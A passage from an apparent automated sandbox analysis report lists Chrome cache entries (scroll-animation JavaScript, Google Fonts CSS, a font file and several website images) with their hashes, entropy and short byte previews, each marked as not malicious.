xmpMM:OriginalDocumentID="xmp.did:D338F8A8C9F311ED9AA285EC21B9310B" xmp:CreatorTool="Adobe Photoshop CC 2017 (Windows)" xmp:CreateDate="2024-05-10T10:48:35+08:00" xmp:ModifyDate="2024-05-10T10:49:50+08:00" xmp:MetadataDate="

Chrome Cache Entry: 196

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4265), with no line terminators
Category:	downloaded
Size (bytes):	4265
Entropy (8bit):	5.4107044255034635
Encrypted:	false
SSDEEP:	96:mEPZuvkuxL0VllT/K3Bj0q6U/PpzfKGtdXJIZx+uvj:LPZuca80r9fK9xd
MD5:	B69B4DB465A07D8C56C19A90D36CF75D
SHA1:	3EEF7C8B01D35144999C7A2F5E87F80C4C4D5456
SHA-256:	EDED3A38A62CC2330F366117C2DFEA22A4F467AE554F229B476A197644AB1CF5
SHA-512:	DB7612B4535B29FAB03E69B4D2B87973A3EBC8CDA86FFC8B99DDE3315ECF776BE88F22BC4B86917FB2ADB56646631DD31153223F5D23CE9A8F50EF7798911680
Malicious:	false
Reputation:	low
URL:	https://www.hbyczyz.com/resources/assets/lib/js/smooth.min.js?v=0.574
Preview:	(function(e){"use strict";(function(){function e(){var e=!1;e&&c("keydown",n),y.keyboardSupport&&!e&&u("keydown",n)}function t(){if(document.body){var t=document.body,a=document.documentElement,r=window.innerHeight,n=t.scrollHeight;if(x=document.compatMode.indexOf("CSS")>=0?a:t,w=t,e(),S=!0,top!=self)b=!0;else if(n>r&&(t.offsetHeight<=r\|\|a.offsetHeight<=r)&&(a.style.height="auto",x.offsetHeight<=r)){var o=document.createElement("div");o.style.clear="both",t.appendChild(o)}y.fixedBackground\|\|v\|\|(t.style.backgroundAttachment="scroll",a.style.backgroundAttachment="scroll")}}function a(e,t,a,r){if(r\|\|(r=1e3),d(t,a),1!=y.accelerationMax){var n=+new Date,o=n-T;if(o<y.accelerationDelta){var i=(1+30/o)/2;i>1&&(i=Math.min(i,y.accelerationMax),t=i,a=i)}T=+new Date}if(M.push({x:t,y:a,lastX:t<0?.99:-.99,lastY:a<0?.99:-.99,start:+new Date}),!C){var l=e===document.body,u=function(n){for(var o=+new Date,i=0,c=0,s=0;s<M.length;s++){var d=M[s],f=o-d.start,p=f>=y.animationTime,m=p?1:f/y.animationTime;

Chrome Cache Entry: 197

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 740 x 610, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	130048
Entropy (8bit):	7.986653514367613
Encrypted:	false
SSDEEP:	3072:K1Qf2XBCRxOyhnoC0vVCwu86T0ysnsueilhjJmOvQpfqIg:K1/XmIy+t+TTfhuTpJlFIg
MD5:	EF7682A94A3E14ABFFFBFE7EC96269F8
SHA1:	7B0D11345BFF121A8F3D6C655790324924658BF7
SHA-256:	4E5D1E2F6A0E762F0273E9572F3948D9DAFD3604189BF95CC9B78492ED2057AD
SHA-512:	E4DBDA4DE1CB819F007410FD6EE1A8AC9D9988457C59F86BEE70B9EFA585A685956271CDD1C7FE0DB1346B53768921CDE9E35ED5B59AA48E8D6F155E12B23975
Malicious:	false
Reputation:	low
URL:	https://website-ishutime.oss-cn-chengdu.aliyuncs.com/sichuang/images/2023/06/14/image_1686733404_H4b8ovTI.png
Preview:	.PNG........IHDR.......b......M.....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:CBA0C9340A9411EEA62BA57810E28BAB" xmpMM:InstanceID="xmp.iid:CBA0C9330A9411EEA62BA57810E28BAB" xmp:CreatorTool="Adobe Photoshop CC 2017 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:639A2D02FED411EDAE96BA3C30373AB9" stRef:documentID="xmp.did:639A2D03FED411EDAE96BA3C30373AB9"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.0l....pIDATx...d.u.O..^.l$..$..).1.P}C. .......Q..../....C.<.....{yd.Z.K^.%....T...J].bI"....o.....i.>........

Chrome Cache Entry: 198

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1920x1080, components 3
Category:	downloaded
Size (bytes):	487141
Entropy (8bit):	7.971771474214259
Encrypted:	false
SSDEEP:	12288:69NK+uma1qDqbPVb55Ys7GJKc/NH8G1GfuO9f+8N2:6r3unqDquXtH+Pf+8N2
MD5:	C69A263ED6BCFCB8C8B31A0C37FCC326
SHA1:	0E96CE29D1221F2DA179F5FF3C9D57319852A270
SHA-256:	55EB486F5DEF63FB12D0B56600F02BF5E86874F229537FAD4E866D52A866BEE1
SHA-512:	E79D4C0CC7A0EB662515A0EA17BC90E65421C5A5178DC05D88478B925F08B4962D518D88C85368E801509E93B3608F3A0FDCC35313EDA4C8BDC8D722639AD5B0
Malicious:	false
Reputation:	low
URL:	https://website-ishutime.oss-cn-chengdu.aliyuncs.com/sichuang/images/2023/04/07/image_1680859684_ZB9333Zh.jpg
Preview:	......Exif..II*.................Ducky.......<......http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:afa8a9e6-9716-4248-82b7-b3c757f3a879" xmpMM:DocumentID="xmp.did:BEE806ECD52711EDAA64A07FF04E8C49" xmpMM:InstanceID="xmp.iid:BEE806EBD52711EDAA64A07FF04E8C49" xmp:CreatorTool="Adobe Photoshop 23.4 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:e0ae58cc-500c-45c5-97bc-8859563bd57b" stRef:documentID="adobe:docid:photoshop:6ac09465-c082-cf45-b062-acd9e87666c9"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d........C.......................

Chrome Cache Entry: 199

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	8725
Entropy (8bit):	5.4132959057973755
Encrypted:	false
SSDEEP:	192:D7Nwz7Nd7Nm7Nh3e7Nc7NPN7NCNY5N+NRNY3qNkN+XNWNPQNNNiNk3XNPN8qNYrV:DBwzBdBmBheBcBVBYYfUH2QiScPeD4Cu
MD5:	B76C21C7DF011F3561B2C74B8ECB2EE4
SHA1:	89317A45624302CD8CED008196671C985457BBCA
SHA-256:	F76BA6C56763B26A8DEEF5E3A466044A6F9C8AFAEEC26B1219FCCFF5424FF685
SHA-512:	2959DD51163257AA437997C01CBFC858CFD207319A2CE1E13B64385A0EFB8CC20D365FD1D3E31C6A2090E035AAE68B350DB8594AEF4D72BDC79ADC3861321C61
Malicious:	false
Reputation:	low
URL:	"https://fonts.googleapis.com/css?family=Roboto:400,100,300,500"
Preview:	/* cyrillic-ext /.@font-face {. font-family: 'Roboto';. font-style: normal;. font-weight: 100;. src: url(https://fonts.gstatic.com/s/roboto/v32/KFOkCnqEu92Fr1MmgVxFIzIFKw.woff2) format('woff2');. unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F;.}./ cyrillic /.@font-face {. font-family: 'Roboto';. font-style: normal;. font-weight: 100;. src: url(https://fonts.gstatic.com/s/roboto/v32/KFOkCnqEu92Fr1MmgVxMIzIFKw.woff2) format('woff2');. unicode-range: U+0301, U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116;.}./ greek-ext /.@font-face {. font-family: 'Roboto';. font-style: normal;. font-weight: 100;. src: url(https://fonts.gstatic.com/s/roboto/v32/KFOkCnqEu92Fr1MmgVxEIzIFKw.woff2) format('woff2');. unicode-range: U+1F00-1FFF;.}./ greek */.@font-face {. font-family: 'Roboto';. font-style: normal;. font-weight: 100;. src: url(https://fonts.gstatic.com/s/roboto/v32/KFOkCnqEu92Fr1MmgVxLIzIFKw.woff2) format('woff2');. unicode-range:

Chrome Cache Entry: 200

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 18492, version 1.0
Category:	downloaded
Size (bytes):	18492
Entropy (8bit):	7.988005025098439
Encrypted:	false
SSDEEP:	384:jHq3alnVfBJBuMlPGCh9NBRLS64LRb0v5waXf0BFY0/rJ8Zw4bzUQb:jHqKf5JMOPdzNPLS64laxsFY0t8XcM
MD5:	7FDA4C62C1BDEAE7A08E6FD438104BAC
SHA1:	B1F626E78F5F6D7BE993303A49EB81F0FA4CE57C
SHA-256:	4DBD328E347E890A801D51F9A5F8D38A3EFD51EC34C0AA22CC83D0A95D6D9D71
SHA-512:	C4A36A3C1FF23023533DFF103A108844B7CFE4E793ABA0B1B5576431E77DD6E9EDF29FAD68132577AD6AD55CA7A011A38723DA2FA15D9071D2C6BA4E02D1DADC
Malicious:	false
Reputation:	low
URL:	https://fonts.gstatic.com/s/roboto/v32/KFOlCnqEu92Fr1MmSU5fBBc4.woff2
Preview:	wOF2......H<..........G..............................Z..\|.`..J.X..<.....P..N..Z...x.6.$..0. ..\|. ..:...%l.F.......T.mZ..V.n!.53.l.@..N....CD.!f......I.(;..Cw.2L..@....M....(.H].......1..I&..tE.e....D...}y..6D.h.Z..$y.J.X._....J2 .(.....=M..+Hd.Y.6.f.J.z..:.........#.#...3..;.<..q./.,g.tK.Y.Ne.?......1.b.......S.".~..\|Q.9.1Q.Y.^....MkF......;v..g(.(S...Z.>...l.XW.Z....-Q.h..MR8$..W(..Wh.0....X..;]3...:..\/..L...L.U...6".h?K.....A.....(2z.uRTn...GaJ......+..4..d...I.[!..Ua..x..4.,@..t....3.e..J._'..R.j.p.t...`.4.......aI,.....W..9V..K..c..... g...:.........'..6.O.0+..;Q..&..e..=..sg......Eg.2.R.M..{{w.{{'4.L.O2.L$) ;..`....PeW..O..iS..e..S.l... .....R.R.+.!.uLUE~...C.JN..J.r...@..g..:.\..;..s.n.s........sq4... ;..N.`.H<T.....p.#2.e....H..T...........1....^......L.....R...R.1.!............E..m_Z~....z..L..j....".q~..Pg!X}1.q.!.n......@.d...._5=..x.......[.y.#$Q.d.........j...1n.....&...-(N..P\5<.f.qB..\|.i...q<.'..C.A...\.i.x.9........1.>....

Chrome Cache Entry: 201

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 258x258, components 3
Category:	downloaded
Size (bytes):	32665
Entropy (8bit):	7.957525701264521
Encrypted:	false
SSDEEP:	768:trkXije78X4Tuif4MtaDG3Vu51WYH0nTyyV+sR:W378ISo4MtaDs8n0ntVbR
MD5:	947834D9BC0EC54A4848439963CD3E4D
SHA1:	4CBAA4615A7F285C9BF0A743D9AFE8DC774D53DE
SHA-256:	9843AEE11774E14B4B91C70B89EEA5FB8FF1A583EE3AD0359AA805222A37AC78
SHA-512:	AED005E94D5A20CFBF9A64EA8F6AC4FC15921D1A4FFCB05A85D1849CA5EFE8001470C2A641C915B768ECBFF12F5B3E9E7740837728BC38785D9B4E1062284E38
Malicious:	false
Reputation:	low
URL:	https://www.strlaser.com/attachment/images/2023/03/30/image_1680171340_kJp9CP90.jpg
Preview:	......JFIF.............C....................................................................C.......................................................................................................................j.....................................!&1QXq..."(29A.....%'6Ya..78i...)BHbhx.45FGRWfu..#3:I..rs...........................................2.......................!..1.AQ..."aq...B2R.r................?....`,......X..`,......X..`,......X..`,......X..`,.......,.^./.?..u.....,.^./.?..u.....,.^./.?..u.....,.X8......>_..........A`..X..=x\|.`....V.a...C`..X..=x\|.`....V.;$..........`:..~..........`:..~..........b......X3...x.%._..i.....n......>[.BM..Z.......g....d.T...f.2...YPpJ....0.>....\|...'>........(z............s...`;.....,..?...T9.?>.:O...0......:.i.q.aE[.Zf......(=e.j%yPe@[........^:..eW.Ze.jA.e[.d.F".....F....\|~ .p..2.....'.8....o.VT....qw....>.I.'.ee.q.oSi."(..%...&.t..#..W.*T...%.G.....o.gb4...@...N.......7..hY.W....g..M.......f......(8...T%P.VZ..8L

Chrome Cache Entry: 202

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 750x1200, components 3
Category:	downloaded
Size (bytes):	353391
Entropy (8bit):	7.976271672146772
Encrypted:	false
SSDEEP:	6144:0QdldlZGhhyMrG7hVCHsPmcAogV+aZECePjEwYMTm46wGMf9apo0popZeK:0QdldyhhygchVCHsPsc2ECePjjTmmwoB
MD5:	7A8BF52F637F8D2B41151496E51E00AD
SHA1:	D2DC166D1EB99F0C6FC96E6394AD4ED068FC7F0A
SHA-256:	D058DD24163A138F3C70AFD262C514EC0EF36A7CBE5C186774C521AEA5A6E26F
SHA-512:	29AAE295B65D8A698C9E99F91906FAA10C47098174F86E0E260F72059D3B6043668402897087F37FE4559B55E3DF487B8A8E3919F5B34F42F39B44964CABFBD7
Malicious:	false
Reputation:	low
URL:	https://website-ishutime.oss-cn-chengdu.aliyuncs.com/sichuang/images/2023/04/17/image_1681712079_yq7XGIID.jpg
Preview:	......Exif..II*.................Ducky.......P.....~http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:37217047-b8a5-4e2f-a1ee-3a4aa0a2cc99" xmpMM:DocumentID="xmp.did:8A0EEC70DCE811ED956FEEAE57164561" xmpMM:InstanceID="xmp.iid:8A0EEC6FDCE811ED956FEEAE57164561" xmp:CreatorTool="Adobe Photoshop 23.4 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:499917fb-7cd8-41b8-9337-fe4801de8e91" stRef:documentID="xmp.did:37217047-b8a5-4e2f-a1ee-3a4aa0a2cc99"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d........C.....................................

Chrome Cache Entry: 203

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 235 x 95, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	5166
Entropy (8bit):	7.852877830397464
Encrypted:	false
SSDEEP:	96:b7wDNozAAEk6gFv4D//r150XN1snKVxQPWklyoKxGb/XqowjKc4NIbMJd:b0DaE9gls71LKV6PWDoKxGzVBc4NIon
MD5:	0F5B94AC927225ADCD9E71890484D2A1
SHA1:	1F91604D08DD965D5276EB994125318ED862C622
SHA-256:	FEB4D0C57E99B4B21D113BB21D16191CC85E4EB618486F83F4484699BD985441
SHA-512:	ECC7949C8B20FEBD38400F2AFDEDD8661F5C6CF29A4AB5B1980C21FF7A842A50C81FB97DA338A50E81CD83403CEC92893E48348850E0797231E638682A580E11
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR......._......Q0.....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:C80AE63ECA0E11ED85F8CD6376869EC6" xmpMM:InstanceID="xmp.iid:C80AE63DCA0E11ED85F8CD6376869EC6" xmp:CreatorTool="Adobe Photoshop CC 2017 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:C555C94BC22F11ED9B2D888A80B31E49" stRef:documentID="xmp.did:C555C94CC22F11ED9B2D888A80B31E49"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>!.......IDATx..].....-.=....".G..T.. ..n ....(h.. ......1.!j"I .....D....!......AQ..a..{...5M...f...{.y.....]..R..W

Chrome Cache Entry: 204

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 235 x 95, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	5269
Entropy (8bit):	7.8691278544506185
Encrypted:	false
SSDEEP:	96:b7ooSE7nZQwyOu8wcQdDKM1JIFyBIUDQM/i45yXW+k36iUjQ4qgPvE7v:bgwwXOM1JHtDQmoXW+kqxQ4jm
MD5:	A864E4046E2868A0740E28CA1E6E2DC6
SHA1:	D918B29AD8BDCF8BCCE20BBFC691365823A96CC8
SHA-256:	6C8178751F857BB6E29E935F841CE9616F75C5BEC66BE6CADE52F79A43ECEB03
SHA-512:	CDF2578093DCC870B8354A633E3B914AA0EA4C44CE48003FCCBCE8713BB22142F9214A919C562B6A3CAD02C448588D9716D17DCC72A10F1E619F0DF066749EB4
Malicious:	false
Reputation:	low
URL:	https://www.strlaser.com/resources/assets/images/p7.png
Preview:	.PNG........IHDR......._......Q0.....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:779951B9CA0E11EDB05EE8B2561D7D69" xmpMM:InstanceID="xmp.iid:779951B8CA0E11EDB05EE8B2561D7D69" xmp:CreatorTool="Adobe Photoshop CC 2017 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:C555C94BC22F11ED9B2D888A80B31E49" stRef:documentID="xmp.did:C555C94CC22F11ED9B2D888A80B31E49"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.0.0....IDATx...xT....$.=$l.j ..... (* h.)...V....\.`........X.i....".].... .DY.s.w...3.EQ39..g&w......\|.{g.

Chrome Cache Entry: 205

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 740 x 610, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	130048
Entropy (8bit):	7.986653514367613
Encrypted:	false
SSDEEP:	3072:K1Qf2XBCRxOyhnoC0vVCwu86T0ysnsueilhjJmOvQpfqIg:K1/XmIy+t+TTfhuTpJlFIg
MD5:	EF7682A94A3E14ABFFFBFE7EC96269F8
SHA1:	7B0D11345BFF121A8F3D6C655790324924658BF7
SHA-256:	4E5D1E2F6A0E762F0273E9572F3948D9DAFD3604189BF95CC9B78492ED2057AD
SHA-512:	E4DBDA4DE1CB819F007410FD6EE1A8AC9D9988457C59F86BEE70B9EFA585A685956271CDD1C7FE0DB1346B53768921CDE9E35ED5B59AA48E8D6F155E12B23975
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.......b......M.....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:CBA0C9340A9411EEA62BA57810E28BAB" xmpMM:InstanceID="xmp.iid:CBA0C9330A9411EEA62BA57810E28BAB" xmp:CreatorTool="Adobe Photoshop CC 2017 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:639A2D02FED411EDAE96BA3C30373AB9" stRef:documentID="xmp.did:639A2D03FED411EDAE96BA3C30373AB9"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.0l....pIDATx...d.u.O..^.l$..$..).1.P}C. .......Q..../....C.<.....{yd.Z.K^.%....T...J].bI"....o.....i.>........

Chrome Cache Entry: 206

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 900 x 714, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	279516
Entropy (8bit):	7.993855344316647
Encrypted:	true
SSDEEP:	6144:NG/jqjXOWh6qKsui3AjNtUN3NRYb9/vThoD5CbVwf0wbRyZrM+K+X:NGxWQqHuiwjPUNA/tS5e6VbRyZrs+X
MD5:	67FAECAB65E100332F63F630968BE80B
SHA1:	AC0D82947FE66CFCFA555DC68851176EB3EC6B7A
SHA-256:	4E019E5E362157BC6446155195C3E0FD988A1DE329DDC54846A206213342E0EA
SHA-512:	D3722EB70B509E4E3BA2AC5E1E591CF7937F4EBCF2EBBB680D76100B02643EDC5FB2C47794E0524A3DB078B7B39333592F26FE4461A10231862B51FA76C91348
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............jk......tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:3C03594CCA0811ED93B6EC15C94B6E44" xmpMM:InstanceID="xmp.iid:3C03594BCA0811ED93B6EC15C94B6E44" xmp:CreatorTool="Adobe Photoshop CC 2017 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:FD32041AC20C11EDB6D298ED79279913" stRef:documentID="xmp.did:FD32041BC20C11EDB6D298ED79279913"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>pY.r..@LIDATx..Y.-.u&.V.........n..*..8."%.j...l.!...F[..@.~....h?.C.........e.m..Z..[..;..s9".5D.e[j..If.s

Chrome Cache Entry: 207

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 400 x 400, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	2064
Entropy (8bit):	5.209161645211475
Encrypted:	false
SSDEEP:	24:XZ1hfvWwjx82lY2T3JVWaFyJ3VZQZXYGF6:XANn2NcJ3PcYE6
MD5:	71F8A69BD99C652FBB4A022B33978C92
SHA1:	4F80308D2E4198A55EB8AE4F3D26BF4ADCE7A120
SHA-256:	41B14E7A4D11BD919FC5BDA3CEA8574E7D60A3C4CF6668CAE74B68CE1948FB57
SHA-512:	BF088ED0C7DDF09FCC5788C59AF7AAD8DFD96BCF0AE9034ED74F5B24A527AD611EFF402489E5CAE1F9D8B0ACD5C90F4C1C3CC3DD4B3752BC739B30EB7BA4A0AA
Malicious:	false
Reputation:	low
URL:	https://www.strlaser.com/resources/assets/images/t400-400.png
Preview:	.PNG........IHDR...............6.....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2017 (Windows)" xmpMM:InstanceID="xmp.iid:4C763681C14511EDA083F5C43D19AE7C" xmpMM:DocumentID="xmp.did:4C763682C14511EDA083F5C43D19AE7C"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:4C76367FC14511EDA083F5C43D19AE7C" stRef:documentID="xmp.did:4C763680C14511EDA083F5C43D19AE7C"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>M.......IDATx...1.....0....DB.v..........@.0...........@.0...........@.0...........@.0...........@.0...........@.0

Chrome Cache Entry: 208

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=12, height=300, bps=158, PhotometricIntepretation=RGB, orientation=upper-left, width=300], baseline, precision 8, 300x300, components 3
Category:	downloaded
Size (bytes):	108301
Entropy (8bit):	7.911028615330439
Encrypted:	false
SSDEEP:	3072:CSoBMSoBNQ4cwA2cICQU2150Ks7Dj/U8zxHacS:CIRQVwzcVG0nDj/U8zbS
MD5:	8B92AE7A7D990601B2E809F927A8C8BA
SHA1:	F97581B305B5E15727116603EDC221AF15C46017
SHA-256:	AFF187FD15813E190996D04DFD3713EFD0ECDBD71EC04CC179263424531EABF2
SHA-512:	12F03F4729589E8955C0256E75813498596A45A5440FD48649ED93B15FCC542C664A06B0D644D629061F1A19012918C918431FF8EC2099CD960F4BAE793FC2E3
Malicious:	false
Reputation:	low
URL:	https://www.strlaser.com/resources/assets/images/news2023.jpg
Preview:	......Exif..II*...............,...........,...........................................................................(...........1...!.......2...........i...........$..............'.......'..Adobe Photoshop 23.4 (Macintosh).2023:08:31 14:29:17..............0231....................,...........,...............................r...........z...(...............................4.......H.......H.............Adobe_CM......Adobe.d......................................................................................................................................................"................?..........................................................................3......!.1.AQa."q.2.....B#$.R.b34r..C.%.S...cs5....&D.TdE.t6..U.e...u..F'...............Vfv........7GWgw........................5.....!1..AQaq"..2.....B#.R..3$b.r..CS.cs4.%......&5..D.T..dEU6te....u..F...............Vfv........'7GWgw.................?.....S.5v.P.}..O.o.N.....i`qorI..,c..h.yN.X.c...[c....9%)..D!"...l..).+...

Chrome Cache Entry: 209

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, big-endian, direntries=12, height=2500, bps=0, PhotometricIntepretation=RGB, orientation=upper-left, width=5000], baseline, precision 8, 1920x960, components 3
Category:	downloaded
Size (bytes):	1932245
Entropy (8bit):	7.97733187000695
Encrypted:	false
SSDEEP:	24576:xIQnAbqSd/ZwVukRlzm1BuUC5cSHbt1PrSJKbsdUWQCSnCtYfRyKA6qgn2K0XEag:m0ADJkiSpXbnSQb2xj6qE2/XzdK
MD5:	E91F599B2953BAA5BCB12E2039571240
SHA1:	1D691D5B56F437BC9EE0BF14A44E7DD402EB459D
SHA-256:	C5E91136E96891D0DFDC76B5CD05D9B90E94B3F1B22DB6B9E086FA45074FC790
SHA-512:	F77D40881E6F47DCDB6E2B61F9D65D4ACA44DF43F01CF0CE858D8E4B3EFBEF43FD5EC99A72752F95828043523034DD3A7D501773CB15BBC5A0859A88BBB8A1D6
Malicious:	false
Reputation:	low
URL:	https://website-ishutime.oss-cn-chengdu.aliyuncs.com/images/2024/05/10/sichuang/image_1715310262_gb1bC5Ye.jpg
Preview:	.....HExif..MM.*.......................................................................................................(...........1...........2..........i............. ............'.......'.Adobe Photoshop 21.1 (Windows).2024:05:10 11:14:59............0231...................................................................n...........v.(.....................~...................H.......H..........Adobe_CM......Adobe.d.................................................................................................................................................P...."................?..........................................................................3......!.1.AQa."q.2.....B#$.R.b34r..C.%.S...cs5....&D.TdE.t6..U.e...u..F'...............Vfv........7GWgw........................5.....!1..AQaq"..2.....B#.R..3$b.r..CS.cs4.%......&5..D.T..dEU6te....u..F...............Vfv........'7GWgw.................?..Z5.. 